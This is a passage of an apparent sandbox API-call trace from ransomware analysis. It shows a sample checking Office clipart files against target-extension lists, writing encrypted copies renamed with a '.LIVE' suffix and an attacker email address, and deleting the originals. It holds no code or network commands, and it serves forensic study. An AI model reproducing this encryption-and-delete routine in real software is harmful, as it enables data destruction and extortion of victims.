lpString2="6.WMF") returned -1 [0140.892] lstrlenW (lpString=".ppt") returned 4 [0140.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.892] lstrlenW (lpString=".zip") returned 4 [0140.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.892] lstrlenW (lpString=".rar") returned 4 [0140.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.892] lstrlenW (lpString=".bz2") returned 4 [0140.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.892] lstrlenW (lpString=".7z") returned 3 [0140.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.892] lstrlenW (lpString=".dbf") returned 4 [0140.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.893] lstrlenW (lpString=".1cd") returned 4 [0140.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.893] lstrlenW (lpString=".jpg") returned 4 [0140.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.893] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.893] lstrlenW (lpString="DD00405_.WMF") returned 12 [0140.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.893] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=17584) returned 1 [0140.893] CloseHandle (hObject=0x390) returned 1 [0140.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x20 [0140.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.894] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.894] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.895] GetLastError () returned 0x0 [0140.895] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x44b0, lpOverlapped=0x0) returned 1 [0140.896] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x44c0, lpOverlapped=0x0) returned 1 [0140.898] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.898] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.898] SetEndOfFile (hFile=0x38c) returned 1 [0140.898] CloseHandle (hObject=0x38c) returned 1 [0140.898] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.898] SetEndOfFile (hFile=0x390) returned 1 [0140.901] CloseHandle (hObject=0x390) returned 1 [0140.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0140.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.902] lstrlenW (lpString=".doc") returned 4 [0140.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.902] lstrlenW (lpString=".docx") returned 5 [0140.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.902] lstrlenW (lpString=".pdf") returned 4 [0140.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.902] lstrlenW (lpString=".xls") returned 4 [0140.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.902] lstrlenW (lpString=".xlsx") returned 5 [0140.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.902] lstrlenW (lpString=".ppt") returned 4 [0140.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.902] lstrlenW (lpString=".zip") returned 4 [0140.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.902] lstrlenW (lpString=".rar") returned 4 [0140.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.902] lstrlenW (lpString=".bz2") returned 4 [0140.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.902] lstrlenW (lpString=".7z") returned 3 [0140.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.902] lstrlenW (lpString=".dbf") returned 4 [0140.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.902] lstrlenW (lpString=".1cd") returned 4 [0140.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.902] lstrlenW (lpString=".jpg") returned 4 [0140.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.903] lstrlenW (lpString=".doc") returned 4 [0140.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.903] lstrlenW (lpString=".docx") returned 5 [0140.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.903] lstrlenW (lpString=".pdf") returned 4 [0140.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.903] lstrlenW (lpString=".xls") returned 4 [0140.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.903] lstrlenW (lpString=".xlsx") returned 5 [0140.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.903] lstrlenW (lpString=".ppt") returned 4 [0140.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.903] lstrlenW (lpString=".zip") returned 4 [0140.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.903] lstrlenW (lpString=".rar") returned 4 [0140.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.903] lstrlenW (lpString=".bz2") returned 4 [0140.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.903] lstrlenW (lpString=".7z") returned 3 [0140.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.903] lstrlenW (lpString=".dbf") returned 4 [0140.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.903] lstrlenW (lpString=".1cd") returned 4 [0140.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0140.904] lstrlenW (lpString=".jpg") returned 4 [0140.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.904] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.904] lstrlenW (lpString="DD00407_.WMF") returned 12 [0140.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.904] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=7828) returned 1 [0140.904] CloseHandle (hObject=0x390) returned 1 [0140.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0140.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.905] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.905] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.906] GetLastError () returned 0x0 [0140.906] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1e94, lpOverlapped=0x0) returned 1 [0140.907] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1ea0, lpOverlapped=0x0) returned 1 [0140.908] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.908] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.908] SetEndOfFile (hFile=0x38c) returned 1 [0140.909] CloseHandle (hObject=0x38c) returned 1 [0140.909] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.909] SetEndOfFile (hFile=0x390) returned 1 [0140.911] CloseHandle (hObject=0x390) returned 1 [0140.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0140.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.912] lstrlenW (lpString=".doc") returned 4 [0140.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.912] lstrlenW (lpString=".docx") returned 5 [0140.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.912] lstrlenW (lpString=".pdf") returned 4 [0140.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.912] lstrlenW (lpString=".xls") returned 4 [0140.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.912] lstrlenW (lpString=".xlsx") returned 5 [0140.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.912] lstrlenW (lpString=".ppt") returned 4 [0140.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.912] lstrlenW (lpString=".zip") returned 4 [0140.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.913] lstrlenW (lpString=".rar") returned 4 [0140.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.913] lstrlenW (lpString=".bz2") returned 4 [0140.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.913] lstrlenW (lpString=".7z") returned 3 [0140.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.913] lstrlenW (lpString=".dbf") returned 4 [0140.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.913] lstrlenW (lpString=".1cd") returned 4 [0140.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.913] lstrlenW (lpString=".jpg") returned 4 [0140.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.913] lstrlenW (lpString=".doc") returned 4 [0140.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.913] lstrlenW (lpString=".docx") returned 5 [0140.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.913] lstrlenW (lpString=".pdf") returned 4 [0140.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.913] lstrlenW (lpString=".xls") returned 4 [0140.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.913] lstrlenW (lpString=".xlsx") returned 5 [0140.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.913] lstrlenW (lpString=".ppt") returned 4 [0140.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.913] lstrlenW (lpString=".zip") returned 4 [0140.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.913] lstrlenW (lpString=".rar") returned 4 [0140.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.913] lstrlenW (lpString=".bz2") returned 4 [0140.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.914] lstrlenW (lpString=".7z") returned 3 [0140.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.914] lstrlenW (lpString=".dbf") returned 4 [0140.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.914] lstrlenW (lpString=".1cd") returned 4 [0140.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0140.914] lstrlenW (lpString=".jpg") returned 4 [0140.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.914] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.914] lstrlenW (lpString="DD00413_.WMF") returned 12 [0140.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.915] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=42992) returned 1 [0140.915] CloseHandle (hObject=0x390) returned 1 [0140.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0140.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.916] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.916] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.916] GetLastError () returned 0x0 [0140.916] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xa7f0, lpOverlapped=0x0) returned 1 [0141.176] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xa800, lpOverlapped=0x0) returned 1 [0141.178] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.178] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.178] SetEndOfFile (hFile=0x38c) returned 1 [0141.178] CloseHandle (hObject=0x38c) returned 1 [0141.178] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.178] SetEndOfFile (hFile=0x390) returned 1 [0141.183] CloseHandle (hObject=0x390) returned 1 [0141.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.184] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0141.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.184] lstrlenW (lpString=".doc") returned 4 [0141.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.184] lstrlenW (lpString=".docx") returned 5 [0141.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.184] lstrlenW (lpString=".pdf") returned 4 [0141.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.184] lstrlenW (lpString=".xls") returned 4 [0141.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.184] lstrlenW (lpString=".xlsx") returned 5 [0141.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.184] lstrlenW (lpString=".ppt") returned 4 [0141.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.185] lstrlenW (lpString=".zip") returned 4 [0141.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.185] lstrlenW (lpString=".rar") returned 4 [0141.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.185] lstrlenW (lpString=".bz2") returned 4 [0141.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.185] lstrlenW (lpString=".7z") returned 3 [0141.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.185] lstrlenW (lpString=".dbf") returned 4 [0141.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.185] lstrlenW (lpString=".1cd") returned 4 [0141.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.185] lstrlenW (lpString=".jpg") returned 4 [0141.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.185] lstrlenW (lpString=".doc") returned 4 [0141.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.185] lstrlenW (lpString=".docx") returned 5 [0141.185] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.185] lstrlenW (lpString=".pdf") returned 4 [0141.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.185] lstrlenW (lpString=".xls") returned 4 [0141.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.185] lstrlenW (lpString=".xlsx") returned 5 [0141.185] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.185] lstrlenW (lpString=".ppt") returned 4 [0141.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0141.185] lstrlenW (lpString=".zip") returned 4 [0141.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.185] lstrlenW (lpString=".rar") returned 4 [0141.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.186] lstrlenW (lpString=".bz2") returned 4 [0141.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.186] lstrlenW (lpString=".7z") returned 3 [0141.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.186] lstrlenW 